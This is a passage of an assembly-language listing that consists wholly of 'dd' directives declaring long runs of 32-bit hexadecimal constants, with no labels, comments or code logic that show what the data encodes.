0B259D812h, 9D9C1900h dd 3436E041h, 85D10F3Bh, 0E4C02F87h, 61E2CA09h, 8C8A9E00h dd 6F203FDCh, 8E4330D8h, 9685A640h, 0EA93B300h, 0A7B1BBEh dd 915300B9h, 0CBD6BAF9h, 0C900A70Bh, 8DC69BD0h, 3F5A5C4Fh dd 0C88716D9h, 9C3C4C7Ah, 6892890h, 0B649CCh, 0C7BADE09h dd 864D0FE2h, 301B2D01h, 3A4E1E2Eh, 0B3775451h, 0C5A77BFCh dd 40446141h, 0EAEE2A0h, 9C00E4A2h, 7D9FD2F8h, 64EC52ABh dd 414528E7h, 0F6CEAD12h, 27E620h, 75BE63C5h, 0F7B99C97h dd 10B3430Ch, 26F14Eh, 7C911E73h, 18626B96h, 5F52B503h dd 0E00BF9DFh, 0DB0872h, 1346B858h, 42DDAB0Ah, 0AA44FA0Ch dd 185B714Ah, 508554EFh, 0EC1CA98Ah, 0ACA8C822h, 95D44h dd 2B403DDBh, 73DC50B2h, 0AE7FDE07h, 0A7904297h, 0B1B0B9h dd 152E02E8h, 431B80ABh, 60400D3Eh, 0B3373940h, 0B4070930h dd 2C02FD5Ch, 1C40D31Fh, 0CD000AB9h, 84C5BF8Bh, 13982Fh dd 0E2728D94h, 0DDDEF618h, 45538A06h, 0A95226h, 9DF5DB67h dd 8F7D97A5h, 8236C503h, 119E77Ch, 6A7FC8E0h, 30B42231h dd 0DC525CB2h, 0FAEA15B0h, 98CD00B4h, 0BC92600Dh, 33C30016h dd 27E3B1A7h, 900F45Eh, 0BAAAAC06h, 245C4961h, 637CEF41h dd 5117437Ch, 8A00E34Eh, 80C4313Dh, 0F09B00D7h, 44EC2F83h dd 351D8185h, 58F0617Bh, 0E886A5h, 9BC348CAh, 0FBE9B226h dd 369C91C0h, 47C43EEh, 7ACB2EF6h, 359088F0h, 750B1540h dd 0A85B0012h, 8446997Dh, 2F0FFA44h, 40C694h, 50280F92h dd 33030C5Ch, 0CE3907F1h, 9F80200Fh, 98B98032h, 0B74874h dd 1FF4B185h, 0AE97442Eh, 0B5382901h, 0AD0572E8h, 49A147FCh dd 0DC821C12h, 0B021FD69h, 1B0584B5h, 0C5E06928h, 0A06A107Ah dd 760EC30h, 723B4439h, 1684061Fh, 0F9F8E935h, 96675B01h dd 0C2856EAh, 26CC1424h, 830EE9Fh, 0B780A6BEh, 35D06486h dd 1092355Ch, 0C13C0071h, 4E762962h, 2DB470C1h, 60BDF7B0h dd 0EB5501F5h, 0D120AF48h, 0D3C1DEE0h, 9182637h, 10BE35C7h dd 0A408B4C0h, 664A309Ch, 6B872BF1h, 20D7F901h, 0D97169C8h dd 26B542D0h, 0F75635h, 0B11AA6B3h, 0B0CB7010h, 68BA00FBh dd 58241136h, 5500DF82h, 5F39A007h, 0B500DA0Ch, 0EE5DB0F3h dd 1BCF72F4h, 0D913F81Ah, 0C466D9DAh, 0FD940A14h, 78301850h dd 48B32929h, 0D8E04CE4h, 3507C85Ah, 0EA7F4C74h, 86291EE0h dd 7EA30522h, 580F13Ah, 4924D328h, 0F8904AD4h, 0CF142CB9h dd 7D83544h, 0E915902Eh, 996593E0h, 0D4B150EAh, 0D04C7A48h dd 0DD839478h, 0E1986EAFh, 0F4F7AECCh, 50575BA9h, 0E91A1DB8h dd 0F9F80022h, 0A9C5E3A0h, 0D4009B1Eh, 8D326AD2h, 1242BF9Eh dd 2385FA07h, 0A10A3F34h, 0B49E265Bh, 11AB5489h, 0EFEDD4h dd 0CD3E8159h, 9C5DDFEBh, 0A7E59B00h, 0D59DF040h, 0FBB04C52h dd 498E813Dh, 5978EB85h, 8BE8DB62h, 0F315E401h, 7AB5E6B9h dd 502B69BEh, 2A5380B8h, 0F0C33FA3h, 0C1E561Ch, 8A808200h dd 60CF8681h, 0C9113917h, 0F648407Ah, 0D138E8h, 3E2EDBFCh dd 146BB6Fh, 8A5F10E1h, 32B045FEh, 1AD113C8h, 46EEDC61h dd 89335187h, 0CE96B03Dh, 0D04D81B4h, 41FC8CDCh, 0A0780157h dd 0DE5D8F9Eh, 9800DB9Bh, 437A9035h, 7CBAF819h, 171200CCh dd 15A2183Eh, 0B7011A14h, 92DB5A64h, 0E5D8D2D6h, 0BAB307BCh dd 60B41886h, 2B608DB9h, 609E3A58h, 9421DA30h, 1F90B3h dd 0F1AAC748h, 0B525BDE9h, 46B27F04h, 0B0C380BBh, 0D227B0B3h dd 0DE8B1E68h, 2E2D4055h, 0AD6CC776h, 56F320C0h, 0F04A16BAh dd 1D4C3330h, 9900EA90h, 0B226713h, 3D7BF4Fh, 1FFA6F75h dd 20BDF7B2h, 0EFCF5C58h, 1A135E00h, 534FD897h, 0B12E3FAAh dd 0A7937200h, 0EA05DD08h, 0FB591760h, 0AD08F69h, 0ECD9FCF3h dd 905E0038h, 0FD100B82h, 0F7643C54h, 65C43Bh, 3679C55Fh dd 18DA8492h, 79E4E546h, 0FA30E3A2h, 9B34819h, 747550D9h dd 74380C42h, 7FE14BA2h, 41319E00h, 8A5A404Eh, 0B1C71845h dd 422F4868h, 627ED03h, 0BD4EA1h, 5B640A70h, 459D83C3h dd 1B43F403h, 0E4AA225h, 1CB14451h, 53B58F00h, 50061ADh dd 17D70F97h, 647BDDh, 8D67F4D6h, 70D3A101h, 0C4A62DEEh dd 40E55828h, 2CA7A328h, 74BF4Ch, 9F186E5Eh, 0C865D99Eh dd 0A38042C8h, 0DFB2D3D6h, 8874EBh, 0F2AE1AF4h, 0E37BEF25h dd 84F65E28h, 20463F01h, 0B0A058B2h, 0D7FC6982h, 30F87EDh dd 63A1EFh, 42FA718h, 2B8DB2B0h, 38EAC400h, 0C8FD3236h dd 0DE551D65h, 8C3A8CECh, 28005AC8h, 0AC50A6D9h, 725BCCh dd 9EE99DD0h, 0EB149269h, 98300928h, 0FA939701h, 0E81F9A9Bh dd 0C04D6ECCh, 8267FC18h, 0D50247D4h, 7664E6E4h, 5B3448EBh dd 0A3BD00ECh, 5EE58D42h, 0C844E65Ch, 845229FCh, 40569FC8h dd 907267B1h, 731DEDB2h, 0A8C769DAh, 31C3858Eh, 0B73814FAh dd 0B8904C8Bh, 0A5004622h, 0B51C7B9Eh, 3350D4h, 59FEF5DAh dd 656603C0h, 0E51862FAh, 63314E91h, 76CE7FE6h, 0C37400ECh dd 4892DEE3h, 0CA00BAB0h, 0DD70C5A7h, 920BED41h, 0D2F60128h dd 0AEC9101Ah, 0C5B8C3B1h, 0C700077Bh, 0BEC1B19h, 369D9CCh dd 0AD70E99Fh, 0B8BE12F1h, 905C40Eh, 161E25BDh, 12076054h dd 7C401C72h, 0D8D9DCD4h, 18B0A49Bh, 0B1447AA2h, 0A0A870EAh dd 0BA00A641h, 0CED23A3Dh, 248377A3h, 98945981h, 2E8D5168h dd 3DC9D50Eh, 0DBAB4023h, 24EAB62Ah, 461C54F2h, 0B598A106h dd 4BDCD905h, 0BCC31487h, 2A9B9004h, 2A789816h, 90C0BE4Ch dd 7D050065h, 9084C2E2h, 8028C20h, 3CB10B61h, 0AB444878h dd 0F175005Dh, 99B7EEAFh dd 7000C152h, 0C542F890h, 245B729Ch, 405C3CB2h, 447187C3h dd 5673AD03h, 90E0A431h, 0D35B986h, 2F0DB4ACh, 0E9D9C8B6h dd 84FD3128h, 53DCE703h, 88CE9E25h, 18A21C70h, 2032CC76h dd 0E102EDB3h, 0A609867Bh, 2ADC987Fh, 96F500C5h, 2BC345D6h dd 380CBF4Dh, 91BAEF0Eh, 7F7974F4h, 2579DCh, 4C1BC0D5h dd 0B3E46799h, 1CB53709h, 0BE28005Dh, 370CF3B1h, 40791FA3h dd 0FAC63E72h, 0E523E701h, 7513D89Ch, 779287D8h, 6FAA0969h dd 7801B62Dh, 2605B4D6h, 432250h, 0A5728361h, 8F014A0h dd 0C8680C01h, 40EEC17Bh, 2C49ECFCh, 8344FC67h, 9C52C42Ah dd 0C24F1FB8h, 0B8A1802h, 69577665h, 54664220h, 0CF18633Eh dd 0EA4CF1C2h, 993B50B2h, 11C18098h, 1B70E37Eh, 0C4B40FC9h dd 24EFEF72h, 5A2A6900h, 0CFB0E712h, 13610C48h, 0F821470Bh dd 542405EEh, 7A4E001Ch, 0E33766C7h, 203D57E9h, 4FD28CF5h dd 2771D8h, 52ACDB7Dh, 31B2A10Eh, 649A9407h, 87D0E8E7h dd 2E98CF0h, 0BC8E0261h, 904CDA81h, 825EE80Fh, 0A375632Ch dd 85E87945h, 68589A04h, 4622A814h, 0FCF45C10h, 0FEFF007Ch dd 0CD9B3174h, 309247BFh, 64C82B2Ch, 76EC5860h, 2024A163h dd 44EAF852h, 80D600A8h, 759EE1C6h, 8300D7ACh, 0FA279C37h dd 534D4F04h, 0BE12F40Eh, 0BBE821ECh, 92FCEC6Ah, 6BE8DF00h dd 2C5FCEF8h, 39FF009Dh, 140B09B0h, 0D8919A46h, 0FCF64C0Ah dd 0A0AAD381h, 0D8209041h, 0CEA28926h, 0F3002C66h, 12F2DA82h dd 7C46D35Fh, 0F1CD0C1Bh, 0EF80FE77h, 5807F7F3h, 53D37933h dd 67879D10h, 1118020Fh, 0F984A643h, 40CA43E0h, 9D0AB0A5h dd 14A4A4CEh, 3027E461h, 0C19960h, 0D163F2C7h, 6E43B01Eh dd 64056B05h, 3CC8EEF0h, 9E4F0388h, 2E210F18h, 0E3B098F4h dd 56D3F03Ah, 0A99700FCh, 0F371F9F2h, 2AEE009Dh, 7437B2B7h dd 8D54EDD8h, 313155C8h, 0EACD91ADh, 0CF031C32h, 1C5DE565h dd 638D0599h, 0A2260944h, 0F102F41h, 54A74008h, 424034h dd 31E2580Fh, 64FD6EDAh, 6CB8BA73h, 37A3CF03h, 88296D9h dd 6859EF79h, 976B6A00h, 0BC2FC3Eh, 0FB78AAA8h, 0F34C6031h dd 42D6A100h, 0D3C6F3C3h, 27A22C33h, 532FC0B4h, 0DE004A13h dd 49AF3479h, 249C2D91h, 6724BA57h, 0A0F747E2h, 339AC948h dd 34769377h, 1F5A9B12h, 0F0050C16h, 540455F1h, 59006377h dd 563B95E8h, 0A06D4400h, 26BFBE51h, 0E0D40CF0h, 4629ACEEh dd 20E4B800h, 4227732Dh, 2494014Dh, 0FFDB5737h, 30ECCA3Fh dd 11E7AB01h, 0A8F6C434h, 838770h, 0DC60B95Ah, 1339DF0Fh dd 211F6892h, 5B44583Bh, 34A4E9E6h, 43C00196h, 0F2A27ACFh dd 15BC36B1h, 0D44991h, 0C52B9E75h, 7DA73BFFh, 0D8D425CFh dd 0B9F72010h, 3EB44452h, 237C009Dh, 0E0D1A6C4h, 51900427h dd 90852667h, 3BE1B1B4h, 0A4B4180Eh, 84A240C4h, 2EED4792h dd 50405E7h, 20FFE9F5h, 393EB974h, 8D110899h, 0F7AA2E00h dd 86A584E7h, 0F96C7800h, 4D0E70F2h, 44851679h, 4D90048h dd 5163E2E3h, 6D3E7812h, 10C1DC24h, 7C48B4E0h, 84C64805h dd 8264A3CFh, 7F80C121h, 58BC70FDh, 14409D4Ah, 0D6797C97h dd 8280B1A5h, 40BAD218h, 9565ACE0h, 38941440h, 870009B6h dd 21360D9Dh, 0C9C47FECh, 4DC07E7Ah, 0F0821115h, 2C990B17h dd 1B8242F4h, 9867D195h, 0BA09682Ch, 4F4A931h, 0E422E5B8h dd 80618061h, 0D439D961h, 8CDBE2h, 0DF12B432h, 0E4833690h dd 9C9B59FCh, 4A140500h, 0C7113EADh, 0F29A5B59h, 0E8402EA9h dd 4663EAE7h, 22DD1F91h, 3F001868h, 731450C2h, 0F4CDD7DFh dd 0D06B269Bh, 10250028h, 0E0B2E7CBh, 66E3E902h, 488E67B5h dd 963FB77Ch, 0D7E26020h, 58D289E9h, 0C2AAA060h, 7CB5F0CCh dd 111D00E2h, 4BBCE66Ch, 8F00B69Ch, 0BA3B01F2h, 12E5BEB1h dd 0C85EEA1Eh, 0D931672Ch, 0ECC4714Ah, 0E40F2832h, 6060467Eh dd 410630A7h, 905D000h, 0ED3DE39Fh, 0CF2607C3h, 21C82970h dd 80BB3A59h, 0F0F968B9h, 71979AE2h, 8419017Bh, 0CF340A29h dd 325EEDEDh, 0BA41070Ch, 66607CD4h, 0A4F7FF3h, 0D9DD09B3h dd 0C4A0407Ch, 57074294h, 0EE72C9Eh, 40269152h, 4E6E074h dd 7CFD81CFh, 1F88C2A5h, 0F9E45527h, 2FC5E0A2h, 0BC60423Eh dd 40A4C5h, 4101E0F4h, 16DB38F2h, 0C021A34Ah, 0C4E612DAh dd 24EF2A2Ch, 0E0349243h, 89FC01h, 7E650561h, 3077F60Fh dd 0A44C584Ah, 0C4994Eh, 1C33D3Fh, 6C047A61h, 3472E2F3h dd 645BB32Ch, 6A827B0Eh, 68C8D467h, 97C0C84Ah, 7AFCFAh dd 7CE1AA4Ah, 739C09F4h, 9B3DB97Eh, 58D42E40h, 0E6E80500h dd 3A9D0CEh, 2375E404h, 1007ED66h, 0AB06F9E1h, 87F0CE40h dd 0B2CD0039h, 10719FFDh, 0A100C7C8h, 62BADD76h, 0AFF563h dd 544607A2h, 8F21F206h, 0E60D5800h, 0D5DAB72Dh, 1CC6008Dh dd 0BA73CE8Eh, 79C0E3A1h, 0C22AB790h, 0DAB606F2h, 18CF5E51h dd 0A752F600h, 95643146h, 0AD9E01A5h, 8DD8458Bh, 0B76080BCh dd 66DB6275h, 0CBB014C5h, 5B30DE99h, 0B174B341h, 334A2800h dd 0B6D37C29h, 0D097600Eh, 0DE91BCD0h, 0FB3B28C1h, 0E6DC069Eh dd 7D863BC1h, 0A2CA5287h, 1DD4A19Ch, 0C7E100EEh, 206A02B1h dd 0E9194BCFh, 336762E0h, 804D643Ah, 21BA27E1h, 2281625h dd 141720D2h, 0C490FBC1h, 9E1D494Eh, 771D6A11h, 542E5FC1h dd 8058E3DFh, 0C799CF96h, 0D1F52802h, 0D3190860h, 0EE4EDD00h dd 5D900A5Eh, 0B1E82996h, 0E2FB8C88h, 0D73ED1A9h, 5710001Ah dd 0F50F3264h, 99CD009Bh, 0BA0E442Dh, 4C03A748h, 0FDC175B8h dd 0DCAAB066h, 6C610036h, 8A08D279h, 0A6FA2C44h, 0C015DB00h dd 2D849AA5h, 0C27632h, 2F422B73h, 1F3D7203h, 0F9F7401Eh dd 0F0C1E930h, 95891DFBh, 83B10486h, 0B3848094h, 524826Ah dd 0C4600C59h, 12FD203h, 40A65BC0h, 809BDB24h, 0B1F178C9h dd 7623253h, 0DE955058h, 87D5C04Ch, 980A9196h, 0E8E416FDh dd 6149E000h, 3965426Dh, 8C523C46h, 8ED56905h, 0FFC0293h dd 6A2192A2h, 0B0BE830Bh, 6E79DF00h, 9D460EEAh, 6923C0F3h dd 214DFA33h, 69C6FDh, 0BBC479A1h, 36E0BD4h, 0BA63C239h dd 0B6AE0602h, 3C292C50h, 0C966FD1Eh, 77E882F9h, 0CD38BF00h dd 819F8DEEh, 0DAAE006Ch, 0DD5EF193h, 2D0033A4h, 0E444B5C4h dd 300FA1h, 0B415C253h, 7B2AAAEBh, 1C645E00h, 592214DEh dd 914A1D17h, 0A7F2C090h, 0B1ACCB0Ah, 53781500h, 3220F88Ah dd 3EC5000Eh, 5E438134h, 0C414928Ch, 314AACBh, 4BAFE86Dh dd 5A1006ABh, 7877F7A8h, 0D07AFD06h, 11F0E4h, 48F2DD49h dd 94EAB0Dh, 0BF824402h, 0C098C313h, 133A2666h, 685FB45h dd 60C676CCh, 0C301C273h, 5C9C3B61h, 20C6EA36h, 0A72F63EBh dd 5DEFE600h, 13CDB543h, 0F13C009Ch, 17F997CBh, 98C0A742h dd 70413976h, 3AF0043h, 986B1E0Fh, 400EE3Fh, 85440E64h dd 584DAC05h, 0B90A31E8h, 394C08Ch, 35A3E074h, 5927D3F0h dd 107780A8h, 489FA289h, 1016196Ch, 0DA4F80Bh, 12D0F200h dd 1A9ED164h, 83A10015h, 978CA7C7h, 0D800AE4Bh, 72D3002h dd 1D94CC77h, 4CCF0E7Eh, 1DE0F884h, 0CBAFF900h, 92E5F02Ch dd 7D97028Eh, 7044F6D0h, 0C1EAECAFh, 43FB0318h, 180094A4h dd 26D0AE45h, 547A2CC3h, 6398F1h, 0A7549CE7h, 60E17E08h dd 80EDDE2Bh, 0C04D680Eh, 2F41DEBh, 51AC6070h, 22345460h dd 85437C06h, 1813E0Fh dd 0F476097Fh, 2675B2AFh, 9B1F1510h, 77FB0C88h, 9849ADh dd 6AA8AC34h, 1A4404D1h, 18008E48h, 78205A65h, 0B070071h dd 3B704B66h, 8F1DEEDEh, 0D5475B57h, 4420E926h, 0C0585143h dd 31739B68h, 320108A9h, 0E9CB3971h, 0EBC49A87h, 2655008Eh dd 0F4E6A2BEh, 10302130h, 0A935B933h, 70F0030Ch, 7D9A6D18h dd 2074AA89h, 6F35FCA0h, 4C1D29E6h, 8F247B40h, 236E354h dd 0B15CF188h, 8C43AFFAh, 4E8DE9C3h, 0E200AAB0h, 4BAE788Bh dd 1666E00h, 0BD982A18h, 0B061F3B8h, 4469002Ah, 6A786425h dd 970B4E02h, 0A288AE17h, 925BFCD8h, 1B51C098h, 10A3639Fh dd 99007C10h, 4576F295h, 7B62C03Ah, 0A91B0E7Bh, 0F9C09D72h dd 7AA30898h, 0CF08A26h, 7D0F3C61h, 82264180h, 92E705D6h dd 6500A77Dh, 6CD2B845h, 12E7036h, 3FF1EBF7h, 0C515ECA0h dd 12043221h, 38408B18h, 7355957Fh, 0E31200B8h, 0EC4C1585h dd 0E17284FCh, 28807D00h, 6FCE1344h, 476803EAh, 5424C4Dh dd 0D9614BF8h, 0D04E0200h, 9879721Dh, 0F58B0193h, 4C383F0Ch dd 0AE4DD014h, 177B5700h, 98EBA7D9h, 62F8007Eh, 1E1F279Ch dd 203CB1C4h, 33158F6h, 70DA1CABh, 1468061Ah, 50FEB518h dd 0A800F8F0h, 835E3C9Ah, 30DADE80h, 1F29768Eh, 120004CFh dd 20C83CBFh, 0F879C3D7h, 0C77D08EDh, 0F7074835h, 0BC707ED2h dd 0C8C3EBEh, 4B50F698h, 5C0E51A8h, 0C00AB968h, 0DA388084h dd 6678C013h, 0D9218E1Eh, 5FE83E00h, 79B8FF19h, 0F8EA32h dd 2C8BC284h, 42CC413Dh, 1EC84018h, 2E86CB71h, 0FE05188h dd 0E780B08Eh, 39B4945Dh, 36157B02h, 0A24E8319h, 0A069B594h dd 0BA041CB0h, 0F3450030h, 0C9C69F75h, 58ED7DA8h, 540E9380h dd 0C1C15DBDh, 0D2FCF12h, 0AFC74881h, 80423A1Eh, 5A9A5758h dd 7485BB9Eh, 0F8E10061h, 0CB8A2969h, 57076051h, 89397B4Eh dd 95A39D40h, 7077D2Eh, 6FBA4984h, 2D18057h, 0B40F4DA8h dd 0C1459527h, 83CF06A3h, 3DD94183h, 30004F4Ah, 12053A74h dd 14844730h, 24419B51h, 14C66500h, 666D3F6Bh, 0FDEDEA00h dd 0B20F4DAAh, 2EC00080h, 0D9479056h, 51C01BD1h, 0F9BD8DB7h dd 0B4C407F4h, 0C0779BD3h, 0E5C7A74Eh, 41677F07h, 46C650A9h dd 2BBF3369h, 87C04E08h, 9D0181FFh, 0E42FD317h, 58BE76CFh dd 0B10E673Ah, 1A4010F5h, 6E6F075Ch, 0C61C2D00h, 0DA1F9EEFh dd 0B34F00A9h, 8448B30h, 5CF509B8h, 721E4084h, 47D8260Ch dd 0F03252B1h, 111F61DBh, 5082F51Eh, 9E419A94h, 7D32C018h dd 0C029E7B8h, 0B6850CA9h, 110F78C4h, 6355514Ah, 280AFFh dd 210C9421h, 9F3DB07h, 65D30400h, 1F2910E2h, 0B0DE1481h dd 4100B822h, 838D2776h, 0F20AE962h, 8C4DCA5Bh, 0AEC20742h dd 64AA4A80h, 59B8DA60h, 9D71C06Eh, 4F1EA9C7h, 9A0058A4h dd 0F4048F88h, 6FF4821h, 95855B9Dh, 0DB0060BDh, 37CDE653h dd 84A99Ch, 4C3A5CBh, 8668F49Bh, 5F27A007h, 9952805h, 0A7FFF020h dd 8EF61E72h, 0C530801Ch, 18FABC83h, 3087C024h, 3ED5A140h dd 0EF71263h, 7618074Ch, 6C3B312h, 7B9C9901h, 6384AAA9h dd 0D761D5EEh, 4D042417h, 0CBB2D700h, 12C78AE4h, 49781ED1h dd 7468803Ah, 69F790Bh, 500F4805h, 9846BE81h, 81AAD5h dd 8B21BC92h, 0B024A2B3h, 82FC6402h, 404286C0h, 0A85AE758h dd 80F9Ch, 0A3E2925Ch, 0DC19D3DFh, 8CCD6300h, 913C2F05h dd 0FE2400ECh, 62D2811Bh, 0BC19504Fh, 674165D6h, 0C0BB4BE8h dd 0B39A9980h, 0D8F75A24h, 0FF7E6420h, 63FC9F09h, 0BA60016Fh dd 0A4501C16h, 898497h, 452F665Bh, 0EC717522h, 0B86E0806h dd 612C07h, 70BBC74Fh, 9C33A934h, 0BF499618h, 0FB551F40h dd 65F2AC40h, 1E18408Bh, 53325606h, 690108h, 833458F7h dd 5F1C97B8h, 31CB100Ch, 0EE03612Ah, 88333D7Fh, 0B11B2880h dd 0D9925165h, 388C5048h, 3811423Ch, 18F72449h, 0DCEC140Ah dd 0DDC8B803h, 92E12476h, 50EA8030h, 0C997736Bh, 63AE9403h dd 0B8DDC68Dh, 155E4Ah, 0AD582F7Ah, 0D8679384h, 65020478h dd 0BDE0443Ch, 0A58404Eh, 35A9C05Fh, 0B0BB048Dh, 8CC44F00h dd 92E0B885h, 5C870BFh, 0D2059652h, 8B42564h, 0D942770Ch dd 8058006Ch, 43396749h, 2839008Eh, 917166DFh, 8854149Bh dd 6F32B0CAh, 0B08370C0h, 8F5D750h, 0D380D824h, 7BECCD98h dd 0DEFD0090h, 0C1411DA8h, 4C00F7BCh, 0DB8A34BFh, 12525679h dd 4B3CE6h, 7305F6FCh, 8415BF01h, 0AC0617h, 1B4B5E7Fh dd 10571D9h, 511D79A6h, 0CAABCBC8h, 0AFF0B481h, 8A46F850h dd 27752F0Ah, 0E7938CBBh, 0B2C79020h, 0DCA8001Bh, 784DE22Ch dd 0A70746EEh, 2E6CD7BEh, 65EC1D91h, 0BD5DC881h, 32D4184Fh dd 668A1E74h, 0E0203912h, 2893C13Ah, 984B1FCh, 0ED859448h dd 88613CA4h, 0E81FB578h, 7147E954h, 3E005ADAh, 9022A233h dd 57113F9Ch, 3B47EF85h, 0E915C7B8h, 43F08480h, 9600294Ah dd 7FEB8120h, 0F2F3FBCDh, 7D4200A4h, 3178E837h, 120F6CDFh dd 0E03A40B4h, 0FBD2B19Ah, 0F27F00A4h, 2BA12E81h, 4400D73Ch dd 0CA78CF7Ah, 6733F8BAh, 0F2772080h, 514048AFh, 0C200795Ch dd 0D1E096D9h, 34036Ch, 52C38E47h, 0AEA3B8A1h, 9558E860h dd 6F64222h, 4DB19B3Eh, 4BF8A03Dh, 0F43CD726h, 8EAE300h dd 61A22Ch, 34D4BF7Ch, 0AF9AF693h, 30D5F85Ch, 0B8EB80BBh dd 59A56F6Ch, 198F2386h, 0F9AE30C4h, 82208E22h, 69DDF3h dd 58950EC1h, 9832F00Dh, 6F45D30Ch, 0EA6AF99Ch, 1C9103EDh dd 0A12623B3h, 0FF981906h, 7FB08206h, 8F33014Ah, 0C6FC2D23h dd 0FD8BF00Ah, 0D276B413h, 3599A0Fh, 187BD15h, 0FCAF6D30h dd 809C7BB8h, 6E32E1B1h, 0CC9FE3D3h, 4D881C10h, 13219A60h dd 0EDD2F4h, 466D8AE1h, 0B14C9F60h, 766A0200h, 780E019h dd 2AF30567h, 9B45B0h, 0E743C02Ch, 0DD00717Dh, 21F1BA5h dd 0A15120h, 2E78B78Bh, 0B4872FBBh, 0AE102924h, 90B115h dd 5403C7F4h, 112F776h, 845234B7h, 24EF0E98h, 7A00D224h dd 189B776Ah, 98A5CA70h, 0B148004Ch, 46179F3Dh, 1200E95Ah dd 9A033828h, 0E6AC99D1h, 1E1EEAAh, 67C57EC8h, 48A786BEh dd 40A019DCh, 837472B8h, 0F59C9C0h, 0F6A4A39h, 8A849FC9h dd 18504201h, 861841B7h, 897C4099h, 0E60047D8h, 71C1B507h dd 0A90A34h, 0AAD45C99h, 70BA87AFh, 0D53C48h, 5FA50DB7h dd 0F696346h, 97E47B44h, 45E9FA4Ch, 0A2FD3Eh, 8E8A4AD9h dd 906A4882h, 1413001Ch, 0CFE2A955h, 5400304Eh, 84165F94h dd 945898Bh, 0DA1E3465h, 0CF973400h, 0C13D6B17h, 20077007h dd 0AA56587h, 7C20DF46h, 0DEBF0CCEh, 0CFC9B14Dh, 4B3B0F00h dd 0B5E5D4F4h, 0FDD70AA3h, 9F8C6B42h, 0C43CC284h, 5C4EA033h dd 0C234212h, 7765000h, 0F054A5F1h, 0FD5B2E92h, 0BFDF0005h dd 60288CDh, 4EA94B01h, 0FE293336h, 86199424h, 9B807907h dd 784DB332h, 0AB465010h, 851F1773h, 0B2BF021Ah, 346494B3h dd 380B253Ah, 0C46B01B5h, 0F7ABBDD1h, 18DA4820h, 50D09D42h dd 11204D86h, 97E1099Fh, 0AC20C63Bh, 776BABB4h, 0BEC0507Fh dd 0EE229367h, 746E5045h, 696121Ch, 66980627h, 6A70081Bh dd 0A66E5501h, 1021B475h, 24B1E0F0h, 40E02823h, 5057338Bh dd 0A64C7004h, 0F0823D91h, 733181Bh, 4D064988h, 1800742Eh dd 5315EEAh, 0AA286B36h, 0E10398F7h, 8E4A9724h, 2F6811C5h dd 6F3E01EBh dd 0B009316Bh, 890A30h, 0B566460Fh, 0EB78A5B4h, 9591AF62h dd 639CA123h, 4BE45596h, 0CAC4004Eh, 6E7B21A6h, 0E160072Eh dd 35330440h, 0DC3101DFh, 0AD51D36Ch, 101C308Dh, 604DD43Dh dd 0A5ED7E81h, 195F0185h, 0A92C0C7h, 8257CCFEh, 4460F000h dd 80CD699Bh, 87BE198Bh, 48F93950h, 90001B84h, 62D7E6E8h dd 474D130h, 6A3DA665h, 0CC309422h, 9707B32Ch, 51E04212h dd 91770520h, 0DD7F28Bh, 0D9A1E98Ah, 0CDF42170h, 37C900E8h dd 0CCCF0159h, 2650C7CEh, 6017ED1Fh, 21609614h, 0D3636B59h dd 6A220061h, 0D05C423h, 0F8033119h, 6DB3381Ah, 49278737h dd 6B6C56A0h, 588874A9h, 0EACE60DEh, 9FAC3760h, 1104498Dh dd 31670684h, 1BA81880h, 3A0E2C42h, 0E21A414Ch, 0FE9320B1h dd 0A84E6B29h, 0A3518D00h, 75907EBFh, 684600B9h, 0F5D60E2Bh dd 0C109A9F6h, 885AEBCDh, 0A002C8A9h, 82147FC3h, 0E0C03694h dd 0D35921h, 0A677B47Ah, 11C934AFh, 0F39DB000h, 475A4E0Eh dd 149126FDh, 8F803CE4h, 6BA8CFBCh, 0E5035F4Ch, 95866043h dd 222FF052h, 7CFEB1h, 0B41A2A03h, 32D69FF7h, 458B7600h dd 0F0E43649h, 9E3107D8h, 0EEDEFE6Dh, 0B0083B4Ch, 0A0787250h dd 4375B00h, 0F03ADD26h, 716A264Dh, 322341F4h, 4280240Fh dd 7D0CBF4Dh, 0D5EE941Eh, 0BD913FC0h, 0BAB540h, 29A99DCEh dd 9226174Ah, 0D70C78B2h, 51F996FEh, 59B100FBh, 2AF0E294h dd 5D0B498Bh, 104D88AFh, 2ACD1E0h, 0D60DF599h, 3C68CF95h dd 9200798Bh, 3E3C904Eh, 284FED6Bh, 5AC3560h, 2E5B34DEh dd 0E2088DFh, 26703B50h, 10F84Ch, 0EEF327E0h, 0FDDE8Fh dd 0C8BAB02h, 20590A3Dh, 3702C57Ah, 0FAA60B1Ch, 0CC4177D6h dd 0E118A1Ah, 99001405h, 2EE934CCh, 0C38A0DDh, 21AF0131h dd 2276102Bh, 0E13FD123h, 640871D8h, 1E93E50h, 1D296FCh dd 8F228A4Fh, 6009CF48h, 65B52CA3h, 0F6332A99h, 524D3098h dd 0E339E639h, 7568CB00h, 0BC4B87Bh, 4C2C0B37h, 4888996Ah dd 246560B8h, 69D9A61Bh, 0CEF857E8h, 32F60052h, 42506E53h dd 0FA0CDD83h, 0C9BC439Bh, 0E1C2004Dh, 9F6777D3h, 20618FFh dd 0F38E71B9h, 158A0620h, 31BA4342h, 0F91C7F00h, 3B38DD0Fh dd 5B5D0014h, 0B7E77DD5h, 8D607293h, 78113629h, 6C9C39EAh dd 44B0250Bh, 2DFC2410h, 0D003092h, 8678ADDEh, 305032DDh dd 8B418CAEh, 0E9306DABh, 8A05887Fh, 0E8A405D3h, 8A347BC2h dd 4E331C80h, 0DE2F9B41h, 0E0321105h, 8C7C6F06h, 2318CE48h dd 8AD99230h, 0C40A0045h, 562412D8h, 88006CE3h, 0F8369F07h dd 385D34Dh, 0B8461874h, 3DA11B29h, 0B323C86Ch, 3E11A1C2h dd 4568E0B6h, 6A7B889Ah, 0C1DB9300h, 4E168E89h, 30321CD5h dd 45FF83AEh, 8288FCAFh, 390F575Ch, 4736ACC6h, 0F2057110h dd 0FF6A3CC0h, 8FD0E79Ch, 0CF7D07EFh, 0C00D4D14h, 400C4E97h dd 0E00F3F02h, 0E67BBE88h, 0AFB421A4h, 9112423Eh, 6903073h dd 7E09346Bh, 864D83A7h, 111683Fh, 6E6430A8h, 327269FCh dd 14451604h, 2012D45Eh, 0E8967460h, 6CCB1631h, 3380709Bh dd 4A176B3Ch, 2C04B00Fh, 3752BD22h, 53D310F0h, 0CD01F9AFh dd 9FFB3F8h, 0BC46723h, 0F57C0B9Eh, 0F082A151h, 0C020EC2Eh dd 0EF8E640Ch, 0B8185C61h, 24C710E2h, 603CA28Bh, 3E34BD14h dd 0B3A22E26h, 0AE060C0Dh, 9C20C821h, 23444BBEh, 4F8C8D24h dd 0A9C8C0B8h, 92095615h, 0E33F51B4h, 0CC59008h, 0F494D62Ch 